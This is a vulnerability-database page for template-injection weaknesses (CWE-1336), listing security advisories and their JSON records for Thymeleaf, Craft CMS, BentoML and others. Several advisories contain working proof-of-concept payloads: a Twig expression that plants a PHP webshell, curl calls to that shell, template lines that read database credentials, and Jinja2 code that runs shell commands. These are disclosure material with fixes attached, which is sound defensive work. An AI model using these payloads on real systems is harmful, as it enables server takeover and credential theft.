CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
313 vulnerabilities reference this CWE, most recent first.
GHSA-R4V4-5MWR-2FWR
Vulnerability from github – Published: 2026-04-15 19:46 – Updated: 2026-04-24 20:51Impact
A security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library's protections to achieve Server-Side Template Injection (SSTI).
Patches
This has been fixed in Thymeleaf 3.1.4.RELEASE.
Workarounds
No workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case.
Credits
Thanks to Thomas Reburn (Praetorian) for responsible disclosure.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf-spring5"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.3.RELEASE"
},
"package": {
"ecosystem": "Maven",
"name": "org.thymeleaf:thymeleaf-spring6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4.RELEASE"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40477"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-917"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-15T19:46:04Z",
"nvd_published_at": "2026-04-17T22:16:33Z",
"severity": "CRITICAL"
},
"details": "### Impact\nA security bypass vulnerability exists in the expression execution mechanisms of Thymeleaf up to and including 3.1.3.RELEASE. Although the library provides mechanisms to prevent expression injection, it fails to properly restrict the scope of accessible objects, allowing specific potentially sensitive objects to be reached from within a template. If an application developer passes unvalidated user input directly to the template engine, an unauthenticated remote attacker can bypass the library\u0027s protections to achieve Server-Side Template Injection (SSTI).\n\n### Patches\nThis has been fixed in Thymeleaf 3.1.4.RELEASE.\n\n### Workarounds\nNo workaround is available beyond ensuring applications do not pass unvalidated user input directly to the template engine. Upgrading to 3.1.4.RELEASE is strongly recommended in any case.\n\n\n### Credits\nThanks to Thomas Reburn (Praetorian) for responsible disclosure.",
"id": "GHSA-r4v4-5mwr-2fwr",
"modified": "2026-04-24T20:51:36Z",
"published": "2026-04-15T19:46:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thymeleaf/thymeleaf/security/advisories/GHSA-r4v4-5mwr-2fwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40477"
},
{
"type": "PACKAGE",
"url": "https://github.com/thymeleaf/thymeleaf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper restriction of the scope of accessible objects in Thymeleaf expressions"
}
GHSA-R8W2-W357-9PJV
Vulnerability from github – Published: 2026-01-20 18:31 – Updated: 2026-02-12 19:51A Server-Side Template Injection (SSTI) vulnerability in the FreeMarker component of opensagres XDocReport v1.0.0 to v2.1.0 allows attackers to execute arbitrary code via injecting crafted template expressions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "fr.opensagres.xdocreport:fr.opensagres.xdocreport.template.freemarker"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64087"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T16:56:50Z",
"nvd_published_at": "2026-01-20T16:16:06Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Template Injection (SSTI) vulnerability in the FreeMarker component of opensagres XDocReport v1.0.0 to v2.1.0 allows attackers to execute arbitrary code via injecting crafted template expressions.",
"id": "GHSA-r8w2-w357-9pjv",
"modified": "2026-02-12T19:51:02Z",
"published": "2026-01-20T18:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64087"
},
{
"type": "WEB",
"url": "https://github.com/opensagres/xdocreport/pull/705"
},
{
"type": "WEB",
"url": "https://github.com/opensagres/xdocreport/commit/3b35d105e5ae2006bcaa2b07563188efc466711d"
},
{
"type": "WEB",
"url": "https://github.com/AT190510-Cuong/CVE-2025-64087-SSTI-"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensagres/xdocreport"
},
{
"type": "WEB",
"url": "https://hackmd.io/@cuongnh/BJEnw7SAlg"
},
{
"type": "WEB",
"url": "https://hackmd.io/@cuongnh/SkQvhEf0lx"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "XDocReport affected by a Server-Side Template Injection (SSTI) vulnerability"
}
GHSA-RQ4P-44H8-CRV3
Vulnerability from github – Published: 2026-04-17 09:31 – Updated: 2026-04-17 09:31In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass
{
"affected": [],
"aliases": [
"CVE-2026-33392"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-17T08:16:17Z",
"severity": "HIGH"
},
"details": "In JetBrains YouTrack before 2025.3.131383 high privileged user can achieve RCE via sandbox bypass",
"id": "GHSA-rq4p-44h8-crv3",
"modified": "2026-04-17T09:31:18Z",
"published": "2026-04-17T09:31:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33392"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V45M-HXQP-FWF5
Vulnerability from github – Published: 2024-05-20 20:26 – Updated: 2024-05-20 22:07Impact
Users with access to a form's settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.
This is listed as low-medium severity due to requiring control panel access to edit a form's settings.
Patches
This has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "verbb/formie"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35191"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-20T20:26:28Z",
"nvd_published_at": "2024-05-20T21:15:09Z",
"severity": "MODERATE"
},
"details": "### Impact\nUsers with access to a form\u0027s settings can include malicious Twig code into fields that support Twig. These might be the Submission Title or the Success Message. This code will then be executed upon creating a submission, or rendering the text.\n\nThis is listed as low-medium severity due to requiring control panel access to edit a form\u0027s settings.\n\n### Patches\nThis has been fixed in Formie 2.1.6. Users should ensure they are running at least this version.",
"id": "GHSA-v45m-hxqp-fwf5",
"modified": "2024-05-20T22:07:17Z",
"published": "2024-05-20T20:26:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/verbb/formie/security/advisories/GHSA-v45m-hxqp-fwf5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35191"
},
{
"type": "WEB",
"url": "https://github.com/verbb/formie/commit/90296edf7e707f117e760aa57e70dbd43a854420"
},
{
"type": "PACKAGE",
"url": "https://github.com/verbb/formie"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "verbb/formie Server-Side Template Injection for variable-enabled settings"
}
GHSA-V47Q-JXVR-P68X
Vulnerability from github – Published: 2026-03-03 21:00 – Updated: 2026-03-04 18:39Summary
An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.
Proof of Concept
Attack Prerequisites
- Authenticated administrator account with
allowAdminChangesenabled, or access to the System Messages utility
Steps to Reproduce
- Navigate to Utilities → System Messages (
/admin/utilities/system-messages) - Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):
- To exploit it by writing to a file system:
- Note: Replace the filesystem handle (e.g.,
hardDisk) with a valid handle configured in the target installation.twig {{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the filesystem handle (e.g.,
- To exploit it by writing to a volume:
- Note: Replace the volume handle (e.g.,
images) with a valid handle configured in the target installation.twig {{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
- Note: Replace the volume handle (e.g.,
- To exploit it by writing to a file system:
- Save & go to Settings → Email (
/admin/settings/email) - Click "Test" at the bottom of the page to trigger template rendering
- The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:
Note: The path might be different on your end depending on the filesystem or volume configuration.
bash # For Filesystem curl "http://target.com/uploads/shell.php?c=id" # For Volume curl "http://target.com/uploads/images/shell.php?c=id" # Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Additional Impact
The same craft.app exposure without any security measures enables additional attack vectors:
Database Credential Disclosure
Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.
{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}
Security Key Disclosure
Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.
{{ craft.app.config.general.securityKey }}
Recommended Fix
- Add Twig sandbox rules to block
write,writeFileFromStream,deleteFile, and similar destructive methods - Consider allowlist approach for
craft.appproperties accessible in templates rather than exposing the entire application
Resources
https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-RC1"
},
{
"fixed": "5.9.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-RC1"
},
{
"fixed": "4.17.0-beta.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28697"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T21:00:16Z",
"nvd_published_at": "2026-03-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities \u2192 System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle(\u0027hardDisk\u0027).write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle(\u0027images\u0027).fs.write(\u0027shell.php\u0027, \u0027\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e\u0027) }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save \u0026 go to **Settings \u2192 Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
"id": "GHSA-v47q-jxvr-p68x",
"modified": "2026-03-04T18:39:01Z",
"published": "2026-03-03T21:00:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18216"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/pull/18219"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates"
}
GHSA-V5GF-R78H-55Q6
Vulnerability from github – Published: 2024-06-11 20:22 – Updated: 2026-02-04 19:39Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
POC
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "document-merge-service"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-37301"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-11T20:22:55Z",
"nvd_published_at": "2024-06-11T19:16:07Z",
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server\u0027s context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nIt has been patched in v6.5.2\n\n### References\n_Are there any links users can visit to find out more?_\n\n- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti\n\n### POC\n\nAdd the following to a document, upload and render it:\n\n```jinja2\n{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} \nls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"ls -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nwhoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"whoami\", shell=True, stdout=-1).communicate()[0].strip() }}\n\nuname -a:\n{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202](\"uname -a\", shell=True, stdout=-1).communicate()[0].strip() }}\n\n{% endif %}\n```\n\nThe index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.\n\n",
"id": "GHSA-v5gf-r78h-55q6",
"modified": "2026-02-04T19:39:54Z",
"published": "2024-06-11T20:22:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/adfinis/document-merge-service/security/advisories/GHSA-v5gf-r78h-55q6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37301"
},
{
"type": "WEB",
"url": "https://github.com/adfinis/document-merge-service/commit/a1edd39d33d1bdf75c31ea01c317547be90ca074"
},
{
"type": "PACKAGE",
"url": "https://github.com/adfinis/document-merge-service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection"
}
GHSA-V676-FW8H-J3J9
Vulnerability from github – Published: 2025-04-09 04:18 – Updated: 2025-11-03 21:33wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.
{
"affected": [],
"aliases": [
"CVE-2025-32461"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-09T02:15:16Z",
"severity": "CRITICAL"
},
"details": "wikiplugin_includetpl in lib/wiki-plugins/wikiplugin_includetpl.php in Tiki before 28.3 mishandles input to an eval. The fixed versions are 21.12, 24.8, 27.2, and 28.3.",
"id": "GHSA-v676-fw8h-j3j9",
"modified": "2025-11-03T21:33:30Z",
"published": "2025-04-09T04:18:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32461"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/406bea4f6c379a23903ecfd55e538d90fd669ab0"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/801ed912390c2aa6caf12b7b953e200f5d4bc0b1"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/9ffb4ab21bd86837370666ecd6afd868f3d7877a"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/be8dc1aa220fbceb07a7a5dc36416243afccd358"
},
{
"type": "WEB",
"url": "https://gitlab.com/tikiwiki/tiki/-/commit/f3f36c1ac702479209acfcaec5789d2fd1f996bc"
},
{
"type": "WEB",
"url": "https://tiki.org/article517"
},
{
"type": "WEB",
"url": "https://tiki.org/article518"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Jul/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-V959-CWQ9-7HR6
Vulnerability from github – Published: 2026-04-03 23:14 – Updated: 2026-06-08 20:04Summary
The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.
Details
The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
This creates an unsandboxed jinja2.Environment with two dangerous extensions:
- jinja2.ext.do — enables {% do %} tags that execute arbitrary Python expressions
- jinja2.ext.debug — exposes internal template engine state
Attack path:
- Attacker builds a bento with
dockerfile_templateset inbentofile.yaml. Duringbentoml build,DockerOptions.write_to_bento()(build_config.py:272-276) copies the template file into the bento archive atenv/docker/Dockerfile.template:
if self.dockerfile_template is not None:
shutil.copy2(
resolve_user_filepath(self.dockerfile_template, build_ctx),
docker_folder / "Dockerfile.template",
)
-
Attacker exports the bento as a
.bentoor.tar.gzarchive and distributes it (via S3, HTTP, direct sharing, etc.). -
Victim imports the bento with
bentoml import bento.tar— no validation of template content is performed. -
Victim containerizes with
bentoml containerize. Theconstruct_containerfile()function (__init__.py:198-204) detects the template and sets the path:
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
generate_containerfile()(generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
user_templates = docker.dockerfile_template
if user_templates is not None:
dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
user_templates = os.path.basename(user_templates)
TEMPLATES_PATH.append(dir_path)
environment = ENVIRONMENT.overlay(
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
)
template = environment.get_template(
user_templates,
globals={"bento_base_template": template, **J2_FUNCTION},
)
# ...
return template.render(...) # <-- SSTI executes here, on the HOST
Critical distinction: Commands in docker.commands or docker.post_commands execute inside the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, before Docker is invoked. This bypasses all container isolation.
PoC
Step 1: Create malicious template evil.j2:
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}
Step 2: Create bentofile.yaml referencing the template:
service: 'service:MyService'
docker:
dockerfile_template: ./evil.j2
Step 3: Attacker builds and exports:
bentoml build
bentoml export myservice:latest bento.tar
Step 4: Victim imports and containerizes:
bentoml import bento.tar
bentoml containerize myservice:latest
Step 5: Verify host code execution:
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...
The SSTI payload executes on the host during template rendering, before any Docker container is created.
Standalone verification that the Jinja2 Environment allows code execution:
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS
Impact
An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:
- Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
- Ability to install backdoors or pivot to other systems
- Access to environment variables containing secrets (API keys, database credentials)
- Potential supply chain compromise if the victim's machine is a CI/CD runner
The attack is particularly dangerous because:
1. Users may reasonably expect bentoml containerize to be a safe build operation
2. The malicious template is embedded inside the bento archive and not visible without manual inspection
3. Execution happens on the host, not inside a Docker container, bypassing all isolation
Recommended Fix
Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.
In src/bentoml/_internal/container/generate.py, change lines 155-157:
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
extensions=["jinja2.ext.loopcontrols"],
trim_blocks=True,
lstrip_blocks=True,
loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
variable_start_string="<<",
variable_end_string=">>",
loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.37"
},
"package": {
"ecosystem": "PyPI",
"name": "bentoml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.38"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35044"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-03T23:14:15Z",
"nvd_published_at": "2026-04-06T18:16:41Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Dockerfile generation function `generate_containerfile()` in `src/bentoml/_internal/container/generate.py` uses an unsandboxed `jinja2.Environment` with the `jinja2.ext.do` extension to render user-provided `dockerfile_template` files. When a victim imports a malicious bento archive and runs `bentoml containerize`, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.\n\n## Details\n\nThe vulnerability exists in the `generate_containerfile()` function at `src/bentoml/_internal/container/generate.py:155-157`:\n\n```python\nENVIRONMENT = Environment(\n extensions=[\"jinja2.ext.do\", \"jinja2.ext.loopcontrols\", \"jinja2.ext.debug\"],\n trim_blocks=True,\n lstrip_blocks=True,\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),\n)\n```\n\nThis creates an **unsandboxed** `jinja2.Environment` with two dangerous extensions:\n- `jinja2.ext.do` \u2014 enables `{% do %}` tags that execute arbitrary Python expressions\n- `jinja2.ext.debug` \u2014 exposes internal template engine state\n\n**Attack path:**\n\n1. **Attacker builds a bento** with `dockerfile_template` set in `bentofile.yaml`. During `bentoml build`, `DockerOptions.write_to_bento()` (`build_config.py:272-276`) copies the template file into the bento archive at `env/docker/Dockerfile.template`:\n\n```python\nif self.dockerfile_template is not None:\n shutil.copy2(\n resolve_user_filepath(self.dockerfile_template, build_ctx),\n docker_folder / \"Dockerfile.template\",\n )\n```\n\n2. **Attacker exports** the bento as a `.bento` or `.tar.gz` archive and distributes it (via S3, HTTP, direct sharing, etc.).\n\n3. **Victim imports** the bento with `bentoml import bento.tar` \u2014 no validation of template content is performed.\n\n4. **Victim containerizes** with `bentoml containerize`. The `construct_containerfile()` function (`__init__.py:198-204`) detects the template and sets the path:\n\n```python\ndocker_attrs[\"dockerfile_template\"] = \"env/docker/Dockerfile.template\"\n```\n\n5. **`generate_containerfile()`** (`generate.py:181-192`) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:\n\n```python\nuser_templates = docker.dockerfile_template\nif user_templates is not None:\n dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))\n user_templates = os.path.basename(user_templates)\n TEMPLATES_PATH.append(dir_path)\n environment = ENVIRONMENT.overlay(\n loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)\n )\n template = environment.get_template(\n user_templates,\n globals={\"bento_base_template\": template, **J2_FUNCTION},\n )\n# ...\nreturn template.render(...) # \u003c-- SSTI executes here, on the HOST\n```\n\n**Critical distinction**: Commands in `docker.commands` or `docker.post_commands` execute *inside* the Docker build container (isolated). SSTI 